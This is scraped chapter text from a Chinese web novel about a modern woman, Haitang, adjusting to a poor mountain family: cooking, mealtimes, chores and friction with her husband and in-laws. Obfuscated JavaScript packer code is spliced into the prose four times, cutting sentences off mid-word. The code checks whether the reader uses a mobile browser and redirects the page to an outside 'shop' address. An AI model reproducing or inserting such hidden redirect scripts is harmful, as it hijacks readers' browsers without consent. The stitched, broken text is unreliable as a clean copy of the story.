走了两步,刀莲生想到,若说男女都一样,那男人既做得饭,女人不更做得饭?身后这个指责他不做饭的也是个女人啊,为什么她能理直气壮地催他去做午饭,而不是她自己主动去做?他在忙,她在闲着啊! 显然,这个女人似乎完全没有要去做午饭的自觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136900|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了,她对自家的锅灶坛坛柜柜都不熟悉,连用火镰打火都能差点烧了灶屋的,还是别指望她了。别的不多说了,先一个,她做饭前绝对问东问西,问得能把他烦死。 刀莲生揭开水缸盖,舀了一瓢凉水出来站在灶屋外的地台上把手冲洗了。回转来撂下水瓢,先看看灶台。 灶台上有两个锅灶,一个大的,一个小的。一前一后紧挨着。小的这个没有单独的灶膛,全靠大的那个锅灶的灶膛的火借温度。小灶通常用来焖饭热水,煮点小锅的东西。旁边靠墙是烟囱。泥巴塑的烟囱直通到茅草屋顶的外头。 小灶用一口黑不溜秋的鼎锅,锅深,口径小。 刀莲生往鼎锅里掺了一瓢水,然后往里面放了一个正好能落下去的甑子。甑子底部倒扣着一个小筲箕。 回身,他在靠墙的那道石头案板下搬出一口陶缸出来,揭开上面的木塞,伸手往里掏,陆续掏出十来个女人拳头那般大小的团子来,堆放在案板上。 海棠欺过来,好奇地抻长了脖子看,很快皱起了眉头,“午饭吃豆饼?那天你不是说这个是喂畜生的嘛。” 刀莲生只得解释了下,“豆饼当初做得多了点,还有小半坛。不尽快吃掉的话,就会发霉变坏,白白浪费了粮食。” 海棠抬脸看看他,说了声:“哦。”再没说话。 刀莲生心头有些宽慰。 这女人,不挑嘴,感觉还是比较好养。 刀莲生把豆饼全都放进鼎锅的那个甑子里,盖上竹编盖子。 回身来他往大铁锅里掺了两瓢水,打算又煮个面汤好下豆饼吃。 这些准备好后,他在搁在案板上的那个大筲箕里面翻看了下。 早先小妹采摘回来的辣椒还有小半筲箕。今天吃了,明天还能再吃两顿。 另外还有一大把挖回来的野香葱,已经焉哒哒的了,但是还能吃。 刀莲生抓了一大把辣椒出来,把其中烂了的辣椒拣出来丢掉,辣椒蒂摘了。那把野香葱,清理掉黄叶,然后丢到木盆里,舀一瓢水打算清洗下上面沾的泥巴的工夫,莲叶进了灶屋。 她搁下小背篓,把镰刀放在案板上,看哥哥端着木盆好似要出去洗香葱,嫂子抄着手立在一旁看哥哥忙活,先愣后惊,“哥,你在干嘛?” 刀莲生还没说话,海棠抢先说:“他在做午饭。” “做饭是我的事,你们忙你们的去!”莲叶吃了一惊,立刻连抢带推,一把夺过刀莲生手里的水盆,非要把哥嫂子赶出灶屋。 海棠说:“你哥出去可以。我是女人,做饭洗衣都是女人的事情,我不出去。” 刀莲生:“……” 刀莲生觉得他有些不认识这女人了。 之前她说娘的想法陈腐,重男轻女,看低女人,一字一句都还言犹在耳呢。 刀莲生看海棠已经挽起了袖子开始洗野香葱,还以嫂子之名指挥莲叶赶紧去生火做饭了,心中又多了一分宽慰。 他出来继续坐在板凳上磨他的刀。 没一会儿,刀莲生看见莲叶把那个平时藏在案板下面许久不用的石臼抱了出来搁在地坝边,又去灶屋拿了把竹刷把,舀了一盆水出来刷洗那个石臼,问她这是要做什么? 莲叶道:“嫂子说烤辣椒要捣碎了吃起来有滋有味儿些。” 24. 第 24 章 今天的午饭做得有些久了点,按理说那些豆饼原就是蒸熟了的粮食做的。阴干后,平时封藏在土陶罐子里,现在只需要拿出来上锅蒸过心就可以了。不用像早饭吃的那玉米饼,要和面,要发面,需要时间。 索性刀具都打磨完了,水碗里剩下的水都倒在磨刀石上冲洗下。 刀莲生把所有的刀具收拾收拾,有些挂到堂屋墙上,有些收在台台柜柜架子上,有些扔墙角,砍柴刀拿去灶屋头放碗柜上面。 灶屋两个女人背对着自己,一大一小,一高一矮,正身子挨着身子挤在那张石板做的案板边,嘀嘀咕咕,悉悉索索,不知在做什么。 刀莲生踯躅不走,探头觑看。 过了会儿,只听海棠嘀咕说:“感觉不太够诶。再搞一点点进去,然后你再把剩下几个辣椒扔进去,这样能够捣均匀点。” 莲叶小声道:“嫂子,放太多了吧?盐巴很贵的……” “能贵到哪儿去?我们那儿一块钱一大袋。一袋就是一斤。” “嫂子,你说笑的吧?”莲叶惊呼。 “我童叟无欺。” “哎呀,够了够了,嫂子,你别再放了!”莲叶又惊呼。 “辣椒这么多,这么点盐巴,可能没味儿。你不知道我两天没吃咸的了,又喝水又喝茶的,嘴巴都要淡出个鸟来。你嘴巴不淡吗?” 莲叶看得胆战心惊,伸手想拦住把盐巴当泥巴放的海棠,忽然看见刀莲生,脸色倏地发白。 “不过只放了一点点啦,你大惊小怪的。诶,你把辣椒扔进来呀。”海棠又往石臼里抖了下手腕,然后注意到了这次莲叶居然一声不吭,才瞧到她双眼发直地看着自己身后,不由得顺着她的视线扭过头来。 刀莲生同两个女人对视一眼,然后他的目光下移,看见海棠手里抱着了圆嘟嘟的黑褐色的小陶罐——那是家里盛装盐巴的盐罐。此时盐罐封口的牛皮纸已经揭开,她手里拿着个小木勺,满满一大勺白生生的盐巴。 视线再移到他处。 石做的案板上搁着莲叶先前刷洗干净的石臼,已经用抹布抹干净了水渍。案板上那块切菜用的厚厚的木头菜墩子上摆着从灶膛的灰堆里烤好的二荆条长辣椒,一部分已经进了石臼,菜墩子还剩了四五个,莲叶手里拿着两个辣椒正要往石臼里丢。 海棠眉头一挑:“你那是什么表情?有问题吗?” 刀莲生默默转开眼,把砍柴刀放到碗柜上,再拿起葫芦瓢,舀了满满一大瓢水出了门,很快外头传进来哗啦啦的冲洗声。再然后他把水瓢撂到缸盖上,再没进屋来。 海棠冲莲叶安抚的笑了下,莲叶发白的脸色慢慢好转,但是眼里仍有隐忧。 白氏和大女儿没一会儿也扛着锄头从地里回来了。 天儿好,午饭仍旧在院坝里头吃。 海棠出来叫刀莲生把晾晒在院坝里的农具简单收拾归拢下,腾出块地方来。 刀莲生忙哦了声赶紧行动,完了后他又去洗了道手,出来灶屋就要去提蔑桌。 海棠已经对这个家熟悉了,率先去堂屋外墙檐下把那个蔑桌提了过来,倒扣着摆放在离灶屋门口不远处的一块好地上。又去把矮板凳端出来,围着蔑桌一一摆好。 第一回,刀莲生生了“娶个媳妇儿回来还是有点好处”的感觉。 两个妹妹也勤快,他无事可做。 原地站了一会儿的工夫,蔑桌、板凳、饼子面汤和配菜,都已摆在他跟前了。 白氏拾掇拾掇完毕坐下来,几个女人也依次坐下来。 刀莲生看看自己这一家子的女人,老的老,小的小,美的美,俏的俏,再看看她们身上穿的,那一蔑桌上摆的,粗衣粝食,他心头蓦然生出一股莫名的豪情壮志,想,他一定要勤快些,努力做到海棠在母亲和堂伯娘面前所畅想的那样:把刀家的日子过得红红火火的。 午饭跟早饭一样简单,豆饼配早上那种稀垮垮的灰面汤和一盘烤辣椒。 刀莲生手拿着豆饼嚼的时候,特别注意母亲和大妹妹夹那烤辣椒碎吃的表情。 只见刀莲荷伸筷子去夹辣椒,这才注意到今日的烤辣椒不是简单地撕两下撕成条,或者像她做饭的时候根本就不撕碎,而是直接简单粗暴的烤好了后拍掉草木灰就装盘子端上来。 今日这一盘烤辣椒是捣碎了的,辣椒皮辣椒籽都碎得分明。 并且,里面还拌了野香葱节节。 她古怪的扯了下嘴皮子,没说什么,然后夹了一筷子烤辣椒就塞进嘴里,还没开嚼,葱香味儿扑鼻。嚼两口,脸上的表情顿住。她默默看看妹妹莲叶。 莲叶闷着头小口咬着豆饼,再小口抿一嘴面汤,谁也不敢看,更不去夹辣椒碎下饼子吃。 刀莲生突然觉得心酸,他伸筷子夹了老大一筷子烤辣椒碎,隔着中间的海棠,倾过身体,伸长筷子,把烤辣椒碎小心地搁在莲叶手里那个咬了几口的豆饼上。 莲叶手顿住,缓缓抬起头来,看见是他,眼睛逐渐泛红。 刀莲生若无其事收回筷子,“别光吃饼,配点辣椒吃,好吃些。” 海棠用胳膊肘轻轻撞了下刀莲叶,“小妹,下次让你哥坐咱俩中间,好方便他给你夹菜。” 莲叶害羞地冲她抿嘴笑了下,低下头,继续小口吃嚼着搭配了烤辣椒碎的豆饼,双眼渐渐发亮。 海棠没停消,把自己咬了两口的豆饼伸到刀莲生眼前,“你给我也夹一筷子。” 刀莲生不理她。 海棠也不气也不恼,反而笑了下,自己伸手夹了一筷子辣椒碎,丢进嘴里,吃得吧唧吧唧的。 斜对面刀莲荷将三个人的互动看在眼里,脸现嫉妒,重重地哼了声,然后动作幅度很大地把那盘烤辣椒碎拖到旁边白氏跟前,“娘,你尝尝今天这个辣椒。” 白桂景还一筷子没吃。 桌面上儿子女儿和媳妇之间的眉来眼去和暗战她压根儿没注意。她一手端着面汤碗,一手拿着个豆饼,脑子里想着地里那些活儿,只恨不能不吃不喝不睡,一天就把旱地里的事情全干完了,好腾出人手来侍弄秧田了。 寨子里那些动作快的,已经把秧田的耙平好了,撒了一遍粪肥养着田了。可他们家还没开始犁田呢。 刀莲荷的大动作把白氏的思绪拉回到眼前来。 闻言,她就搁下面汤碗,伸筷子夹了一筷子辣椒碎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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走了几步听见后面脚步声,他也没回头,放慢步子:“你留在家里。” 身后的人问:“你去哪儿?” “砍竹子。” “噢,那我跟去看看。” 砍竹子有什么好看的? 他今天都被她看了大半日了! 谁喜欢被人盯着一直看啊?做活儿的时候搞得他一点都不自在,好几次蔑刀差点把他的拇指都划出血了。 刀莲生回过身去,果见海棠立在他几步远处,还在甩着手里的洗锅水。他冷肃着脸道:“你的尿罐不倒了么?” “哦,对啊!”海棠惊呼了声,随即嬉笑道:“哎呀,只怕都要腌入味儿啦。” 他就知道! 继续说:“还有你换下的衣服也还没洗。” “哎呀,是呀是呀,我衣服还没洗呢。你要是不提醒我,我都忘了。” 海棠于是问刀莲生河沟在哪里啊,堰塘在哪里啊,洗衣服在哪里啊,家里有没有肥皂啊……问题一大堆砸来。 他就知道! 刀莲生想起昨晚的事情,更不答话了。 她多问几句,说不定这衣服就变成他来洗了。 他的事情很多,可没空给她洗衣服。 这么多家务活儿不做,还老跟着我!还闲待着! 刀莲生不再理会海棠,背着蔑刀转身往后山去了。 26. 第 26 章 再之后白氏没其他话说了。 她拉着布满了皱纹的褐皮老脸,勾着头,专注绩麻。 白氏脚旁地上搁着两个竹篮,左边一个竹篮里一大捆晒干的毛躁躁的苎麻纤维,右边装着她搓好的细麻线。 白氏旁边坐着刀莲荷,负责把母亲绩好的细麻线捻接成长根,最后再由莲荷身旁的莲叶把姐姐接出来的长线一圈圈绞在纺车的锭子上。 海棠看婆婆把苎麻纤维撕成头发丝儿那么细,然后搁在膝盖上,濡湿手掌,摁着纤维将其朝一个方向搓成扭成股的细线,暗想,这样用手工把麻纤维搓成一根根,也不知道要搓到猴年马月。她犹疑了好久,终是不打算出声去帮她了。她可没这耐心。 这时候白氏别眼,瞟到一旁刀莲荷把一根接了几次都接不好的麻线,气得直接扔进了火塘里,脸色一变,抬手就打了她一下,“你又糟践东西!” 刀莲荷不忿,“这又不是咱家的。我们帮堂伯娘白白搓麻,糟践她几根又怎样?” 白氏疾言厉色道:“就算不是自家的,也不意味着我们就可以随便糟践东西啊。谁家的东西都不该乱糟践。何况你堂伯娘日常帮衬我们也没说要讨个好处,我们给她白做也是应当的。你动作慢点,细致一点,哪里会接不好?我都说了你多次了,你就听不进去!” 刀莲荷道:“哎呀,她家自己梳麻、绩麻都要扔一大把。” 莲叶扯了下姐姐衣摆,“堂伯娘每次给我们东西,都是称了重的。” 刀莲荷一撇嘴,还待再还嘴。 白氏给小女儿一提醒,当即厉声对大女儿道:“人家嘴上不会说什么,心里肯定结了老大一个疙瘩了,以后两家关系必然受影响。你好好弄,少个三五钱没关系,多了的话,你今年就别想做新衣裳了!” 火塘边母女两个都好像已当她不存在。刀莲荷一直对她视而不见,只管不耐烦地跟母亲顶嘴。只有莲叶,扭头冲她甜甜的抿嘴笑了下。 海棠看看刀莲生。 那男人专注地编着他的竹撮箕,看都她没看她一眼。 尽管刀莲生替她遮掩,但是人家一家子都在坡上干活儿,连才十岁的莲叶都是忙了家里忙坡上,她却一觉睡到天黑,哪个待见她? 海棠有自知之明,晓得自己有错,讪讪地奉劝了白氏晚上别喝浓茶后,看人家一家子都不理会她,她用手笼一笼乱蓬蓬的头发,就出了堂屋,打算去灶屋静静地把晚饭弄来吃了。 你睡到天黑,肯定不要指望别人还把晚饭端你手上撒。自己动手,丰衣足食。 今晚的月光晦涩不明,像蒙了层纱,看着毛毛的。 以前听乡下姥姥讲,月亮带毛,天气不好。 估计明天的太阳不会再有今天这么晴好了,说不定还会下雨。 海棠进了灶屋,借着敞开的灶屋门外透进来的黯淡月光,她摸到灶台上的火镰,打了几下,把油灯点着,然后心急地伸手去揭开了灶台上那口大铁锅的锅盖,结果,里面空空如也。 海棠的心先凉了半截。 赶紧又跑到灶膛这边来,把那口鼎锅锅盖揭开,探头往内一看,里面同样一无所有。 这下,她一颗心全凉了。 婆婆,你要不要对我这么苛待啊,晚饭都不给我吃! 不就是睡了个午觉,然后一不小心睡到天黑吗?可是我是新媳妇,我才来你家,我对你们家你们这里的水土还不熟悉,就不允许我偷点懒、犯点错吗?! 海棠气得把油灯重重地墩在灶台上,又去翻碗柜。 打开立在墙边的橱柜,里面除了几叠土碗和那个藏在柜子最里头的不起眼的褐色盐巴罐子,没有吃的。 碗筷都刷洗得很干净,一粒米一点油水都没残留。 甚至是整个柜子,都闻不到一丝饭菜的余香。 他们家每次吃饭都吃得很干净。 再去翻案板。哎,案板都不用翻看——一个又大又厚的切菜墩子,一个破筲箕,筲箕里面快要见底的一把干瘪瘪的青辣椒。案板一眼就看完了,根本不用她去翻看。 没吃的,到处都没吃的。 海棠环视整个厨房,试图找到刀家人给她留了晚饭的蛛丝马迹。 说实话,来刀家两天了,海棠今天才来好好看看刀家这个灶屋。 不大的厨房,跟那块石案一样都一眼望尽。 头上是木头房梁和桁架,虫蛀得明显,上面铺盖着茅草。草棚下蛛网遍布,一些破碎的蛛丝上垂着吊着丝丝缕缕的黑色烟尘。 四周围是夯实的泥土墙,但已看不出本来的颜色。灶膛上面的木房梁、灶膛后面的土墙以及靠烟囱那堵墙都已经熏得黢黑。碗柜的木头呈现出发霉的那种灰色。地面跟堂屋一样,布满了坑洼。 唯有石头搭砌的灶台和案板,是这屋里最耐用坚固的设施。 这穷家薄业的,难怪灶屋连门都不用做。这能偷个啥嘛! 哦,案板! 海棠猛然想起白日里刀莲生从案板下一个坛子里摸出来吃的。 她忙把油灯端在手上,猫着腰摸到案板下面。一排的坛子,她已记不得她男人当时打开的是哪个坛子了,海棠只好一个个挨着揭开了看。 真是越发失望,一排五个坛子,竟四个都是空的。唯一没空的那个,装了半坛子碎糠壳,她男人就是从这个坛子里摸出来的豆饼。 海棠伸手在糠壳里面摸了下,大约还有七八豆饼的样子。 她摸了一个出来,凑在油灯下看了看。 石头一样硬邦邦的,颗粒粗而糙,握在手里都硌皮肤。黑褐的颜色,显而易见看得见里面掺杂了大量没打得很碎的糠壳和麸皮。 尽管肚子很饿,但是这饼子看起来真是一点食欲都没有。 海棠怏怏地把豆饼放回去,重新用麻绳在笋壳叶子绑在坛口把土陶罐封好。 没找到吃的,心情不太好,便也不想回堂屋去跟刀家那一家子人待一块儿,不然她心里憋的闷的那股气会想找缺口出了。 海棠干脆烧了一大铁锅水泡脚,直泡得那洗脚水都变凉了,这时候刀莲生来灶屋舀了瓢水搓洗他那块包头布,她才焉儿吧唧地收拾收拾起身回堂屋。 她在灶屋里压捱了半晌,出来一看,时辰已经不早了。月亮都不见了,被厚厚的云层挡住了。 堂屋门大敞,借着门内透出的火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174355|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塘里的火光她摸回到堂屋。 刀莲荷和莲叶已经把纺车摊子收了起来,白氏也把装了粗麻的两个竹篮子重在一起搁在八仙桌上。 刀莲生的撮箕已经编好了,他拿在火上把那些支棱起的毛刺烧干净,手里掂了掂,拿到堂屋外墙靠在墙角。 回来在把地上的篾条蔑刀收拾好,另从墙上取了把怪模怪样的琴,用那块才去灶屋打湿了的包头布,把那把琴抱在膝盖上擦来擦去。 白氏跟刀莲生说了声早点睡,就自顾自上楼去了。 刀莲荷和刀莲叶也跟哥哥打了声招呼,也上楼了。 母女三人去了二楼睡觉,没了手摇纺车的吱嘎声,堂屋一下子安静下来。 海棠下午睡过了,晚上又没吃晚饭,加上泡了个脚泡得身上出热汗,现在清醒得不行。 她回到卧房,在床上躺了一阵,实在睡不着。 撑起上半身看门帘子外头的火光仍然很亮,她于是下床趿拉上刀莲生那双小船一样的大木屐,撩开布帘子看了眼。 刀莲生还坐在火塘边,仍然在擦拭他那把琴。 她就拖着木屐哒哒的走出去,先踢了踢旁边搁着的干燥的木柴,以引起刀莲生的注意,然后在他旁边的矮板凳上落座,问他道:“喂,你这琴叫什么琴?” 刀莲生抬头看了她一眼,垂目回道:“牛腿琴。” 海棠忍不住“噗呲”笑出声来,“我就说瞅着它长得挺像牛腿的。诶,这琴咋用啊?是弹的还是拉的?” “弹。” “那就弹一首曲子来给我听听呗。”她一副理所当然、高高在上的命令口吻。 刀莲生斜了她一眼,没理她,自顾自细致地擦拭着那把琴。 海棠欲求不满——是食欲的欲——就见她豁得一下站起身来,一抬脚,重重踢了刀莲生屁股下坐的那根板凳凳子腿一脚,恶狠狠地说:“你的心可真硬!连首曲子都不弹给你娘子听!” “……” 刀莲生错愕不已地看向她。 不给你弹曲听就是心硬? 她可真会给他定罪名。 海棠还把他恶狠狠地盯着看。 刀莲生实在有些招架不住她那两道要吃了他的目光,微微侧身,好让她离开自己的视线范围,来个眼不见心不烦。 海棠讨了个没趣儿,撇嘴,大声道:“就两根弦,你擦来擦去,小心粗的弦都给你擦细了,然后一拨就断!” 刀莲生忍不住了,头也不抬地道:“这是棕绳做的弦,擦拭只会让它的弦愈加光滑,琴声更好听。” 海棠没崩住脸,噗的又笑出声来,“我还以为你又要跟我装哑巴,这回要一装到死呢。我不过才说了一句,这就忍不住说话了。看来你的定力也不过如此嘛。” 刀莲生再次愕然不已。 这么说她刚才是故意挑衅,只为了逗他说话么? 扭过头去,海棠已经哼着歌儿进了卧房,那块蓝色布帘子被她揪着狠狠一甩身后,飘来荡去,挡不住她肆意的歌声飘进耳朵里。 海棠:“我得意儿地笑,我得意儿地笑,求得一生乐逍遥……” 刀莲生:“……” 27. 第 27 章 转天海棠睡醒了起来,打开堂屋门看这世界。 云山雾罩,山色朦胧,空气湿漉漉的,有些阴冷。 天气果然不太好。 天气不好的同时,海棠的心情也不太好,因为她发现刀家人一个也不在,她便知道自己又又起晚了。 在现代她就是个完全要靠闹钟才能早起的废材人设,昨晚上她恁是瞪着豆大的眼快要到天明了才来了睡意,这下可好,刀家人眼里她又睡懒觉了。 婆婆和两个小姑子都不在家,已经上坡干活儿去了。只是不知道她们做的是早饭前还是早饭后的活儿。 这里人的作息规律完全打破了她习以为常的认知。又没有钟表看时间,这天气没太阳,以至于她现在对山里的时间一点概念都没有了。 不知道现在是什么时辰,海棠只知道自己肚子饿得咕咕叫,还是赶紧去灶屋看看有没有吃的。 不由得苦笑,来婆家没几日,她好像做得最多的事情就是找吃的。 但是鉴于昨晚上的经历,她对刀家人给她留饭这种事情一点都不抱希望。 心情不好,身体也不好了。眼屎糊到眼睛了,可能上火了,连着吃了好几顿辣椒了。海棠去西墙根儿下扯了洗脸帕赶紧去灶屋寻吃的。 进了屋,顾不得先洗脸洗手,目光直指那口大铁锅。 锅上盖着大锅盖,不知道是不是眼花了,好像有丝丝缕缕的雾气自锅盖尖儿钻出来。 海棠疾步走过去揭开锅盖,一阵腾腾的热雾扑面而来。等雾散开,她看清楚了锅内的情况,顿时眉开眼笑。 只见锅底一个倒扣的筲箕,筲箕上搁着一碗掺了包谷糁子的稀粥,一个黄黄的杂粮窝窝头! 妈呀,总算能吃顿好的了。 哎呀,关键是这是留给自己的吗?? 海棠激动得快要热泪盈眶。 这多难得,刀家人开始给自己留饭了! 不过,这么说,刀家人已经吃过早饭了,现在快要到晌午了么?? 今日婆婆竟然没来骂她吵她睡懒觉这事儿,或许是昨晚上刀莲生给他娘打了个预防针,说她水土不服,傍晚闹肚子闹了好几次,所以今早起不来,婆婆也就放过了她。 当然,肯定也有昨天她敬婆婆媳妇茶的时候态度好、嘴巴甜起到的作用。 不管怎样,任何婆家人肯定都喜欢做事勤快、嘴巴又甜的媳妇儿。最关键,是把这一家之主的婆婆嚯哄好! 海棠把锅盖盖上,赶紧舀了盆洗脸水,帕子丢进去搅两下胡乱把手脸洗了,洗脸帕也不顾得拧干,任它丢在盆里,然后就搓搓手重新揭开锅盖,饿虎扑食一样,一手抓起那个热乎乎的窝窝头,一手端起暖呼呼的稀饭。筷子也不用,闷着头先呼噜噜就喝下去大半碗玉米粥。 喝罢眯起眼,回忆刚才那美味。 包谷糁子掺得多了点,粥也太稀了些,但是扑鼻的白米饭的香气盖住了所有的不足。 米粥的温度也有点烫,但是她昨晚一颗全凉了的心一下子给烫得热乎乎的了。 海棠餍足地伸出舌头把嘴唇扫荡了一圈儿,不放过任何一滴残留的米汤,然后张口,便要去咬吃那个窝窝头。 这时候身后传来响动。 她捏着窝窝头回过身看去。 刀莲生挑着一担水进屋来,见她靠在灶台边吃东西,一怔。 海棠却是心里一突。 刀莲生在家的!他没去地里干活儿,他只是去挑水了。那么,这锅里的吃食到底是留给自己的还是留给他的??? 海棠开始不确定了。 她睡懒觉了,会否今日婆婆其实懒得再叫她起床了?所以这吃的,有没有可能根本其实是婆婆留给她儿子吃的啊! 刀莲生的视线落在了她手里的窝窝头上,海棠尴尬不已,但是紧紧把窝窝头捏紧了,几个手指头印陷进去…… 好在很快他移开了视线,没说什么,担着水低头进了屋。 海棠暗松了半口气,不错眼地盯着刀莲生的动作。 入屋后他把肩上的水桶搁在地上,竹扁担靠在墙上,将她搁在水缸缸盖上的还没收拾的洗脸盆端到案板上去搁着,然后揭开水缸盖,提起一桶水就往里倒,再没看她。 海棠真担心手里的吃食是刀莲生的,可是她舍不得让。昨晚她就没吃,再不吃点东西,她只怕没力气苟活到吃午饭的。 也许这么说夸张了些,但是她真的好饿啊。 数一数,算一算,她连着两天六顿饭都没怎么吃东西了呀。 吃得最好最饱的一顿,还是两天前她初来乍到这个世界,她那个便宜娘给她弄来的两碗米粥和一个大馒头! 这窝窝头绝不给他! 趁着刀莲生背着她做事情,海棠悄悄咬下一大块窝窝头,嚼了两下就赶紧吞下肚去,然后把手藏在身后,铁锅锅盖也悄悄盖上,与此同时刻意大声说话来压住自己的小动作,“咳,你,你今天不下地啊?” 男人说:“嗯。” 海棠不动声色又飞快地咬进嘴里一大块窝窝头,囫囵咀嚼了两下就吞下去,才又问:“为什么?” 刀莲生闷声不响地提起另一桶水往水缸里倒,不再回答。 他能说是娘勒令他这几日都不许上坡下地干活儿,只在家跟新媳妇儿培养夫妻感情,找机会把房圆了么? 他没想过跟她圆房的事。 这个事情就像他早就对他娘讲过的那样,海棠虽然跟他回来了,但是指不定她还要跑。多看看些日子吧。有些事,得顺其自然。 待在家里他是闲不住的。 海棠还没起床的时候,他出门去割了一背篼新鲜的草料回来,又把昨晚上海棠忘了收回屋里的还是湿润的衣裳拿出来,一一挂在竹竿上继续晾晒着,然后便是去一担担地挑水了。 昨晚上海棠把水缸里的水又用得一干二净了,一早起来他就去挑了一缸子水回来。 家里添了口人,洗衣做饭洗漱,都很费水,一缸水现在好像还不够用一天了。 做了早饭后,他就看见水缸里的水下去了不少。是以吃罢早饭他再次去后山挑水,好及时把水缸补充满。 这是第二担水了,两桶水倒进去,水缸差不多满了。不过还得洗牛圈,刀莲生于是挑着空桶就又出门了。 海棠追到门口看了眼,他是往后山去的,那就是还要继续挑水,海棠终于长松了口气,赶紧大口大口地把窝窝头吃完,剩下的米粥也喝了个底朝天。真是生怕晚了一秒钟,人家说这不是留给她吃的。 吃完了早饭,海棠把锅碗刷洗干净,进卧房去把尿罐端出来倒了,洗干净后还是倒扣起来晾在院坝边边。然后就没事做了。婆婆也没给她分派其他的活儿,今日那烂背篼里也没有刀家人换下来的脏衣服,她便坐在堂屋那道过膝的门槛上,抄着手斜靠在门框上,远远地看刀莲生干活儿。 她这头端尿罐坛子出来倒尿的时候,男人动作快,又一挑水担回来了。此刻,那高壮的男人正在牛圈里忙活,他清扫牛粪,给牛洗澡。 他今日仍着一件绣了花的黑色对襟上衣和宽松的大筒裤。 上衣无袖,露出了他粗壮的胳膊。肌肤黝黑,手臂上绷紧的肌肉线条流畅而有力,原始而野性。 几天的观察,海棠发现,那天刀莲生去她娘家穿的那身估计是他最好的衣服了。平时他就是一身粗麻做的黑衣黑裤黑色包头巾,一身黑,沉默地做事情,常常让她注意不到他的存在。 家里重活儿脏活儿好像都是他的。打扫牲畜圈、挑水、砍柴,这三样是他每天一早必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177221|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的事情。 他就像刀家畜生圈里那头灰色的老牛,默默做事,默默吃草,沉默地看待生活里的一切,并不发表任何感想。 午饭的时间海棠又没摸准,直到看到莲叶一个人回来了,才明白到点该做晌午饭了。 海棠忙去把火塘中埋在灰堆里的木柴扒拉出来,趴地上鼓着腮帮子吹出明火来,然后去灶屋把铜壶装满水,搁在火塘上烧煮着,茶叶罐子找出来,等待水开后及时把酽茶泡好,然后就马不停蹄地去灶屋帮莲叶做午饭。 午饭跟昨天一样,还是吃豆饼配面汤,下捣碎的烤辣椒。 这次莲叶提前给嫂嫂打好招呼,说不能再放盐巴了,昨天差点被母亲责骂。 海棠本也没提这事儿。昨天她听见了婆婆对刀莲生说的话。 莲叶那心有余悸的样儿,很招人疼,海棠揉了把她脑袋,笑说:“嫂子自有分寸,放心,我们只是偶尔加个餐吃回盐巴而已。” 莲叶放下心来。 开始她还担心如果嫂子像昨天那么不听劝,我行我素,她该怎么办?去给哥哥告状,好像不太好。 哥哥娶这个嫂嫂不容易,她不想看到他们两个闹矛盾。 午饭才将将做好,白氏和大女儿就回来了。 海棠今日对婆婆特别的殷勤,帮婆婆接背篼接锄头,又打来热水让婆婆洗脸洗手,完了后又奉上热茶,搞得白氏有点不自在。 吃过午饭,也不用白氏吩咐,海棠抢着收拾碗筷,刷洗灶台。还不忘又奉上热茶给婆婆解渴。 刀家一家子看在眼里,无话。 晌午饭后,白氏母女三人照例又去了地里干活儿。 家里还是只剩了刀莲生和海棠在。 昨天砍了竹子回来,把家里的破撮箕、破筲箕、扫把刷把这些都换了新的,今日刀莲生打算来补那张破凉床了。 院子里搭两根长凳子,洗干净晾干爽了的破凉床放下去。拿把蔑刀把坏掉的地方剩下的半截篾片都挑起来拆了拔了扔掉,然后竹子搁上床去比划好切割的长度,划开的篾片也搁上去比划好所需的宽度和厚度,用篾刀做好记号,然后就是坐下来,拿一把蔑刀开始剖竹子、剥篾片了。 但是,这天,刀莲生做事时,时常有些心不在焉。 他发现海棠不再跟在自己屁股后面转悠了,她老跟着母亲转。 其实早上她起床后他就发现她不像昨天那样对他热情,一劲儿贴上来了,反而好像还有些戒备他,不明所以。中午母亲回来那阵子她对母亲的殷勤叫人看不下去。后来母亲下地去,她才没办法再围着母亲转,可是人好像一下子被抽走了筋骨,变得怏怏的,歪坐在堂屋门槛上发呆,一双眼却是巴巴地望着院坝尽头——那似乎是母亲午饭后下地离开的方向。 并且比起昨日,她今天分外的沉默。 她似乎心情不太好。 不知道她怎么了。 蔑刀终于把手指划出了血。 将带血的手指含在嘴里吮吸的工夫,他的视线又往堂屋那边飘。 海棠勾着腰,眼睛盯着地面,不知道在看什么。 唔,要下雨了,阶前石头缝里的蚂蚁肯定又在搬家了。她在看蚂蚁搬家。 “哎!”刀莲生终于忍不住冲海棠喊。 海棠懒洋洋地扭过头来,“干嘛?” 